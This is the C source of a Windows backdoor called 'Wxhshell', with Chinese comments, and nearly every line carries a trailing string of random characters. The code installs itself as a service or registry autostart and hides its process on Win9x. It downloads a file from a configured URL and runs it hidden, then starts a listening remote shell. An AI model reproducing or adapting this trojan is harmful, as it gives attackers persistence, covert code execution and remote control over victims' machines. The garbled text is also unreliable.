DWORD BasePriority; M@~o6 ^
ULONG UniqueProcessId; 7O461$4v
ULONG InheritedFromUniqueProcessId; 4OEKx|:5n
} PROCESS_BASIC_INFORMATION; =43d%N
HZuiVW8
PROCNTQSIP NtQueryInformationProcess; M*H<
n*
E&9!1!B
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; leIy|K>\m
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a hwy_\
^5>du~d
HANDLE hProcess; \kk!Dz*H
PROCESS_BASIC_INFORMATION pbi; L"^.0*X/d
~T&%
VvI
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (!ZV9S
if(NULL == hInst ) return 0; *N'hA5.z
QmHwn)Ly
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
7&px+155
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /B=l,:TnJ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (h|ch#
=Pj@g/25u
if (!NtQueryInformationProcess) return 0; lJ'trYaq7
QxA0I+i
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s<d!+<
if(!hProcess) return 0; KJ pj
Y.9~Bo<<r
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !Z-9tYO
r!~(R+,c
CloseHandle(hProcess); u&tFb]1@)
+:!ScG*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~xE=mg4le
if(hProcess==NULL) return 0;
N)P((>S;
e^Aa!
HMODULE hMod; %GS\1 Q%
char procName[255]; yFi6jN#~
unsigned long cbNeeded; &
L3UlL
t5n2eOy~T
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qf)C%3gXI
U81;7L8
CloseHandle(hProcess); fZ{&dslg
<g*.p@o
if(strstr(procName,"services")) return 1; // 以服务启动 6I5o2i
OFIMi^@
return 0; // 注册表启动 %Dra7B%
} *i%.{ YH
;n`
$+g:>
// 主模块 pY,O_
t$
int StartWxhshell(LPSTR lpCmdLine) ?-d
Ain1w
{ e"PMvQ
SOCKET wsl; srsK:%`
BOOL val=TRUE; @7 )Z
int port=0; n+X1AOE[L
struct sockaddr_in door;
:4{Qh
v8>!Gft
if(wscfg.ws_autoins) Install(); o|0
'0P
VkWO}
port=atoi(lpCmdLine); ]u;GNz}?
k3C"
if(port<=0) port=wscfg.ws_port; Pf{`/UlD
u\:rY)V
WSADATA data; @c0n2 Xcr
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (lieiye^
mZ~mf->%
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2|$lk8 /,
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )>?! xx_`
door.sin_family = AF_INET; -`Da`ml
door.sin_addr.s_addr = inet_addr("127.0.0.1"); A"0wvk)UcY
door.sin_port = htons(port); J
&{qppN
>H)^6sJ;%b
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {zY`h6d
closesocket(wsl); @T5YsX]qb7
return 1; sE-x"c
} 8g.AT@ ,Q
UBL(N r
if(listen(wsl,2) == INVALID_SOCKET) { IvFR <n
closesocket(wsl);
g;(_Y1YQ
return 1; FT<H]Nf
} (LRNU)vD7$
Wxhshell(wsl); BSOjyy1f
WSACleanup(); fVG$8tB
y#&$f
return 0; [k!-;mi
~."!l'a
} l_bL,-|E8
]NbX`'
// 以NT服务方式启动 ^=Q8]W_*
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N&?T0Ge;
{ hx*HY%\P
DWORD status = 0; `i=JjgG@
DWORD specificError = 0xfffffff; h -Tsi:%b
aMBL1d7
serviceStatus.dwServiceType = SERVICE_WIN32; Q@7l"8#[t
serviceStatus.dwCurrentState = SERVICE_START_PENDING; } /[_
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C2CYIok$&
serviceStatus.dwWin32ExitCode = 0; <%M\7NDWDA
serviceStatus.dwServiceSpecificExitCode = 0; 5?Uo&e
serviceStatus.dwCheckPoint = 0; Tt{U"EFO
serviceStatus.dwWaitHint = 0; NY.}uZ
u82h6s<'W
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IO^:FnJJv
if (hServiceStatusHandle==0) return; ~g*Y,
Y
@bc[
eas
status = GetLastError(); 79TPg
if (status!=NO_ERROR) +.S#=
{ *^X#Eb
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?@3#c
serviceStatus.dwCheckPoint = 0; :0WkxEY9
serviceStatus.dwWaitHint = 0; i/5y^
serviceStatus.dwWin32ExitCode = status; g@<sU0B
serviceStatus.dwServiceSpecificExitCode = specificError; wEBtre7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zt-'SY
return; 7fap*
} c9\B[@-q
os}b?I*K
serviceStatus.dwCurrentState = SERVICE_RUNNING; yT[Lzv#
serviceStatus.dwCheckPoint = 0; <sgZ3*,A
serviceStatus.dwWaitHint = 0; \_lG#p|
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |P^]@om
} 4kWg>F3
ls [Ls
// 处理NT服务事件,比如:启动、停止 yB0jL:|a
VOID WINAPI NTServiceHandler(DWORD fdwControl) 's$A+8;L
{ NE$VeW+@
switch(fdwControl) #=`FM:WH
{ }l,T~Pjb
case SERVICE_CONTROL_STOP: CWE Ejl
serviceStatus.dwWin32ExitCode = 0; 6W)xj6<@
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;[;)P tFz\
serviceStatus.dwCheckPoint = 0; LN@lrC7X
serviceStatus.dwWaitHint = 0; C$$"{FfgU"
{ l5{(z;xM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fn1 ?Qp|
}
H;b8I
return; tn"Y9
k|
case SERVICE_CONTROL_PAUSE: ATKYjhc _
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^zvA?'s
break; 'dmp4VT3
case SERVICE_CONTROL_CONTINUE: N90\]dFmy
serviceStatus.dwCurrentState = SERVICE_RUNNING; jHs<s`#h
break; 3C>2x(]M
case SERVICE_CONTROL_INTERROGATE: HF*j`}
break; B`g<Ge~
}; {D;Xa`:O
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fQ=&@ >e
} &Pmc"9Rl
)p^m}N 6M]
// 标准应用程序主函数 ExNj|*
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &eThH,w$2
{ hknwis%y
fl} rz
// 获取操作系统版本 E9yFREvQc
OsIsNt=GetOsVer(); "2)+)Db
GetModuleFileName(NULL,ExeFile,MAX_PATH); :'5G_4y)h
$w|o@ Ml)
// 从命令行安装 :SpG&\+
if(strpbrk(lpCmdLine,"iI")) Install(); 0MwG}|RC
*4(/t$)pEl
// 下载执行文件 03X<x|
if(wscfg.ws_downexe) { "\VW.S
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GOv92$e
WinExec(wscfg.ws_filenam,SW_HIDE); y+K7WUwhq
} AzHIp^
LVPt*S= /
if(!OsIsNt) { ke3HK9P;
// 如果时win9x,隐藏进程并且设置为注册表启动 - XE79 fQ
HideProc(); /2g)Z!&+L
StartWxhshell(lpCmdLine); 1VhoJGH;C
} IUh5r(d 68
else PphR4 sIM
if(StartFromService()) Eg@R[ ^T
// 以服务方式启动
|y{;|K
StartServiceCtrlDispatcher(DispatchTable); ~[d=s
else '+o:,6
// 普通方式启动 /3)YWFZZc
StartWxhshell(lpCmdLine); u~/M
!A'`uf4u
return 0; zCK y`u.
}